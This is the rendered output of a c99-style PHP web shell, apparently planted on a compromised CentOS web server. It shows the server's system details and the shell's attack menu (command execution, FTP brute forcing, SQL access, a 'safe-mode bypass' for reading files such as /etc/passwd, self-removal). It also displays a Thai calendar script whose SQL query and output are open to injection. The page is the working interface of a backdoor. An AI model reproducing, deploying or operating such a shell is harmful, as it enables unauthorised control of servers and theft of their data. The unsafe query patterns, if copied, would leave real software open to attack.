!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/thaimed/   drwxr-xr-x
Free 52.37 GB of 127.8 GB (40.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     calendar_report.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php include ('check.php'); ?>
<?php require_once('Connections/connresort.php'); ?>
<?php
mysql_select_db($database_connresort, $connresort);
$query_rsCalendar = "SELECT * FROM mycalendar WHERE '$now_stamp' BETWEEN start and end";
$rsCalendar = mysql_query($query_rsCalendar, $connresort) or die(mysql_error());
$row_rsCalendar = mysql_fetch_assoc($rsCalendar);
$totalRows_rsCalendar = mysql_num_rows($rsCalendar);
?>

<style type="text/css">
<!--
.style2 {
    color: #9900FF;
    font-weight: bold;
    font-size: 13px;
}
.style3 {font-size: 12px}
.style4 {font-size: 13px}
.style5 {
    color: #FFFFFF;
    font-weight: bold;
}
-->
</style>


<table width="500" height="213"  border="1" cellpadding="0" cellspacing="0" bordercolor="#0000FF">
  <tr>
    <td bgcolor="#0000FF"><div align="center" class="style5">ปฏิทินเหตุการณ์ ของวันที่ <? echo dateThai($now_stamp); ?>มีจำนวน <?php echo $totalRows_rsCalendar ?> เหตุการณ์</div></td>
  </tr>
  <tr>
    <td><?php do {  ?>
      <table width="98%"  border="0" align="center" cellpadding="0" cellspacing="0">
       
        <tr bgcolor="#CCCCCC">
          <td colspan="2"><div align="center" class="style2 style3">
              <div align="left">เหตุการณ์ที่ <?php echo ++$i;?></div>
          </div></td>
        </tr>
        <tr>
          <td width="30%"><div align="right" class="style4">ชื่อเหตุการณ์ : </div></td>
          <td width="70%"><span class="style4"><?php echo $row_rsCalendar['title']; ?></span></td>
        </tr>
        <tr>
          <td valign="top"><div align="right" class="style4">รายละเอียดเหตุการณ์ : </div></td>
          <td><span class="style4">
            <textarea  readonly name="textarea" cols="50" rows="5"><?php echo $row_rsCalendar['description']; ?></textarea>
            </span></td>
        </tr>
        <tr>
          <td><div align="right" class="style4">เริ่มตั่งแต่วันที่ : </div></td>
          <td><span class="style4"><?php echo dateThai($row_rsCalendar['start']); ?> ถึงวันที่ <?php echo dateThai($row_rsCalendar['end']); ?></span></td>
        </tr>
        <tr>
          <td><div align="right" class="style4">ผู้เขียน: </div></td>
          <td><span class="style4"><?php echo $row_rsCalendar['service']; ?></span></td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td>&nbsp;</td>
        </tr>
      </table>
      <?php } while ($row_rsCalendar = mysql_fetch_assoc($rsCalendar)); ?></td>
  </tr>
</table>
<?php
mysql_free_result($rsCalendar);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--